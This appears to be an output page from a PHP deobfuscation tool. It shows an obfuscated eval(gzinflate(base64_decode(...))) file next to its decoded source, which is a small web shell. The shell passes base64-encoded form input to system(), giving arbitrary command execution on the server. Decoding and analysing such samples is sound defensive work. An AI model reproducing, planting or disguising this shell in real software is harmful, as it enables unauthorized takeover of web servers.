Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php eval(gzinflate(base64_decode(" lVZtc5tGEP7Or9gyHQtGGiEBUZwIyRO7bps0ddLIfY0zGgwni..
Decoded Output download
?>
<html>
<head><script> function setfocus(){ ctrl = document.getElementById("tmp"); pos = ctrl.value.length; if(ctrl.setSelectionRange){ ctrl.focus(); ctrl.setSelectionRange(pos,pos); } else if (ctrl.createTextRange) { var range = ctrl.createTextRange(); range.collapse(true); range.moveEnd('character', pos); range.moveStart('character', pos); range.select(); } } </script></head>
<body onLoad="setfocus();">
<script>
var Base64 = {
// private property
_keyStr : "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",
// public method for encoding
encode : function (input) { var output = ""; var chr1, chr2, chr3, enc1, enc2, enc3, enc4; var i = 0; input = Base64._utf8_encode(input); while (i < input.length) { chr1 = input.charCodeAt(i++); chr2 = input.charCodeAt(i++); chr3 = input.charCodeAt(i++); enc1 = chr1 >> 2; enc2 = ((chr1 & 3) << 4) | (chr2 >> 4); enc3 = ((chr2 & 15) << 2) | (chr3 >> 6); enc4 = chr3 & 63; if (isNaN(chr2)) { enc3 = enc4 = 64; } else if (isNaN(chr3)) { enc4 = 64; } output = output + Base64._keyStr.charAt(enc1) + Base64._keyStr.charAt(enc2) + Base64._keyStr.charAt(enc3) + Base64._keyStr.charAt(enc4); } return output; }, _utf8_encode : function (string) { string = string.replace(/
/g,"
"); var utftext = ""; for (var n = 0; n < string.length; n++) { var c = string.charCodeAt(n); if (c < 128) { utftext += String.fromCharCode(c); } else if((c > 127) && (c < 2048)) { utftext += String.fromCharCode((c >> 6) | 192); utftext += String.fromCharCode((c & 63) | 128); } else { utftext += String.fromCharCode((c >> 12) | 224); utftext += String.fromCharCode(((c >> 6) & 63) | 128); utftext += String.fromCharCode((c & 63) | 128); } } return utftext; }
}
function ckeydwn() { var o = document.getElementById('tmp'); o.value = Base64.encode(o.value); document.forms['tt'].submit(); }
</script>
<form method="POST" name="tt">
<input size="200" type="text" onkeydown="javascript:if (event.which || event.keyCode){if ((event.which == 13) || (event.keyCode == 13)) { ckeydwn(); }};" name="tmp" id="tmp" value="<?php echo htmlspecialchars(base64_decode($_POST['tmp'])); ?>" />
</form>
<pre>
<?php if (!empty($_POST['tmp'])) { system(base64_decode($_POST['tmp'])); } ?>
</pre>
</body>
</html>
<?php
Did this file decode correctly?
Original Code
<?php
eval(gzinflate(base64_decode("
lVZtc5tGEP7Or9gyHQtGGiEBUZwIyRO7bps0ddLIfY0zGgwniQQOchxyFNv/vbt3J2RnGsWdseHYe/bZl3tYdDS1opUscrqxOJ1GdSKySk5h0fBEZiWHmslFmTS1415DIkUOE0jxuWBc9pdMnuaMlseb56ljy6Ky3TFAVdaAOIL313HesH7O+FKuxpAtHGVF1hnLmQrxJuZLZtj7JtYY/hvmIHUP/xFwCyyvGTKCpkwEiyU7Z5+kJoRrWMcCBD1sk/kCQ3HUfj8p8zyuauZI0bDWWpRrdspTp5OsYhEnkolOD3T0HWAmYyG/DqlV/o5K+BYizzQ48lS/reiyTDdQ8pdlnE7sXbPHNu4ZrEV1HMc1G4VYyLXleVCJbI2V4L2smJAba/6BbWZSwFOwnx2f/HD6408/P3/xy8tfz169/u3N7Pz3P/786+9/4sskZYvlKnv/IS94WX0UtWzWV582nwdDPwgfjR4fPul6E7unQjSXeZZAweSqTGFRCmA8KdOMLy21YBirVYmT8aqR256XjcQnzNW2x8qQrMSwR1dfXYMecQ3V1VdXbQk1OkPPAWqFaxJdeX/eyMXhXIc24cZwtcpyhtEh0nAjNEqEYqK3NtPpnKDjM+lk3S7JC3PZuxt8fZdyJ0VRgOkUfGUhNsdRtgMIXIgiCF24AUdFQlioPYMtzkfc8JEC+ltgQMCRBoY6RICwUTBWOs/qs/hM+bpUoWEz2FF4751oscEWuwO152MW3bbHWkWqZCyXCnX37fp7d4O9u6F6JQSTjeAmETT04O4535NYLQWKj4rRK8xfL/qCVXmcMMe7EBfcW/bsC05ziLSEZBJfd6NFUrFDZq4lxlE3hmM7oTgesZFxsotwRwPc1YeRoO/QPyTwNkh3AjONX4iyODE+TnJ3WuHZwxQdH7twcKBZ/EF46D6AhzxJHiiW4RMfSb+NJ+0oPCbaJvHAQEMlS98PHxCpTe1+wP+fYKsI40o2C/9aGSQopPSKO+2s2fNB6uAHqYO0pf4K7WaJmSLGjoiWARVS1G87Unbe9evmssj06LbawW1ZEWHMXJzYr1/Nzm3gccEmtpQ0tfXcqrPPaPEHAxvkpqJNrMbGSU/5l1d8Yr+P17EmfUp6YmuKjwMtWcHNDehHBFOn3GtC3INMJjCkzt1sPQ3UbKgJuG0VFnA7bpPEjzRkqVmoBkzs6KhaVcCSVQn0c6CuWJLFOam+di5Vz+YpUz37fk4Vv1Wtfeci9dHUBg/L9qgteK8Ew6vio6S/Y0UlN1+60Uu8qSUrvsV+i/zIrUk9+ljS3fxkoSDWvw==
")));
?>
Function Calls
| gzinflate | 1 |
| base64_decode | 1 |
Stats
| MD5 | 99c0b04f3a1d390a257780493aceeb41 |
| Eval Count | 1 |
| Decode Time | 97 ms |